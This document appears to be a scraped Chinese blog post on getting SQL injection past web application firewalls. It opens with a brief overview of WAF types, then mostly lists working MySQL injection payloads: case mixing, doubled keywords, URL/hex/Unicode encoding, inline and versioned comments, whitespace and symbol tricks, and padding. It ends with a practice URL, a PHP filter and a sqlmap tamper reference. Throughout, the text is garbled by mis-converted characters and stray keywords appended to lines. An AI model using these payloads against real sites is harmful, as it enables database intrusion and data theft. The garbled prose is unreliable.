WAF是什麼?php
Web應用防禦系統(也稱:網站應用級入侵防護系統。英文:Web Application Firewall,簡稱: WAF)。也叫Web防火牆,主要是對Web特有入侵方式的增強防禦,如DDOS防禦、SQL注入、XML注入、XSS等。mysql
WAF分類:web
代碼WAF:將規則寫在web代碼中,並去匹配,來過濾。正則表達式
軟件WAF:監聽端口或以Web容器擴展方式進行請求檢測和阻斷sql
硬件WAF:專門硬件防禦設備,代理流量,並作分析,再作是否轉發的處理服務器
雲WAF:經過dns域名移交技術,將流量暫時發送到檢測中心節點,經過檢測後,再發送到真實服務器上cookie
WAF工做流程:三個基本步驟函數
身份認證:白名單ip、白名單cookie、白名單user-agent、白名單referer等等 測試
數據包解析網站
規則匹配:根據不一樣的規則,有不一樣的繞過方法。
過WAF的基本方式:
1、大小寫 select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
針對:/正則表達式/ i 不區分大小寫的規則
2、替關鍵字(關鍵字重複寫) select * from users where ID=1 ununionion selselectect 1,2,3,4%23
針對檢測到某個關鍵詞 替換爲空的狀況
3、編碼 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+
union ---> 0x756e696f6e20
select * from users where ID=1 %75nion select 1,2,3,4%23
編碼方式:URL編碼 (空格爲%20 單引號%27 左括號%28 右括號%29,針對特殊狀況能夠兩次URL編碼)
十六進制編碼(針對某些數據,如特殊字符、特殊字符串等)
unicode:Unicode編碼 使用兩個字節編碼一個字符,高位不足使用0填充
單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
4、內聯註釋 /* */ union/**/select/**/1,2,3%23 、 //.--+,/**/,--,-- -,#,;--b
select * from dvwa.user where user_id id='1' and 1=1;--+';
5、等價函數替換 verion() @@version
mid substr substring
@@datadir datadir()
hex() bin() ascii()
sleep() benchmark()
等價符號:and &&; or || ; = >< re>100 re<102 re=101
6、特殊符號 + # %23 --+ \\\\
select`version()`
select+id-1+1.from users; "+"用於字符串鏈接 -和. 用於鏈接,能夠用於逃過空格和關鍵詞的過濾
@符號:用戶自定義變量 select @……1.from users;
@@符號:系統變量
後續加 ~ ! % () [] + | %00 等等
7、內聯註釋加! select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
8、緩衝區溢出
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
栗子上的 0xA*1000 指的是0XA後面的 "A" 重複1000次,通常來講對應用軟件構成緩衝區溢出都須要比較大的測試長度,這裏1000僅供參考,在一些狀況下也能夠更短
9、mysql 特性繞過
= 等於
:= 賦值
@ @+變量名可直接調用 select @test:=user();
註釋符號 /**/ --(空格) #
/!**/ /*!50000select*/
select * from news where tid=1 union /*!50000select*/ 1,2,3;
/*!union*/
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())
10、換行 123%0A123
11、隱私類型轉換
select 'a'=0;
select '1admin'=1;
綜合探索
內聯註釋
黑魔法:select{x user}from{x mysql.user};
換行符繞過:%23%0a %2d%2d%0a
繞過方式部分拆解
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
[1] 第一部分:
(1)/**/ /*!50000union*/
(2)空白字符 %09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮點數形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0 1x一億的0次方
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
[2] 第二部分:
(1)空白字符 %09 %0a %0b %0c %0d %20
(2)註釋符 /**/ /*123213*/
(3)括號 id=1 union(select 'test','1',(select user() from admin limit 0,1))
[3] 第三部分:
(1)空白字符
(2)註釋符號
(3)其餘字符:
! %21
+ %2b
- %2d
@ %40
~ %7e
select * from admin where id=1 union select~1,user(),version()
(4)其餘方式:
括號 select * from admin where id=1 union select(1),user(),version()
內聯 select * from admin where id=1 union /*!50000select*/1,user(),version()
{} select * from admin where id=1 union select{x 1} user(),version()
" " select * from admin where id=1 union select"1" user(),version()
\N select * from admin where id=1 union select\N ,user(),version()
[4] 第四部分:
(1)空白字符
(2)註釋符
(3)其餘符號
` %60 select * from admin where id=1 union select 1,2`from admin`;(注意閉合)
內斂註釋符號
加括號
加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)
(4)浮點數、1E0 、\N
第五部分:
(1)空白
(2)註釋符號
(3)其餘符號
破則號-: select * from admin where id=1 union select 1,2 from-admin;(中文的)
聯註釋符號
{} select * from admin where id=1 union select 1,2 from{x admin};
() select * from admin where id=1 union select 1,2 from(admin);
練習題:http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1
$keywords= array("union","select"," ");
$id=strtolower($id);
$id=str_replace($keywords,"",$id);
// 須要處理的技術點:雙寫.py 使用註釋代替空格.py
// --tamper 雙寫.py,使用註釋代替空格.py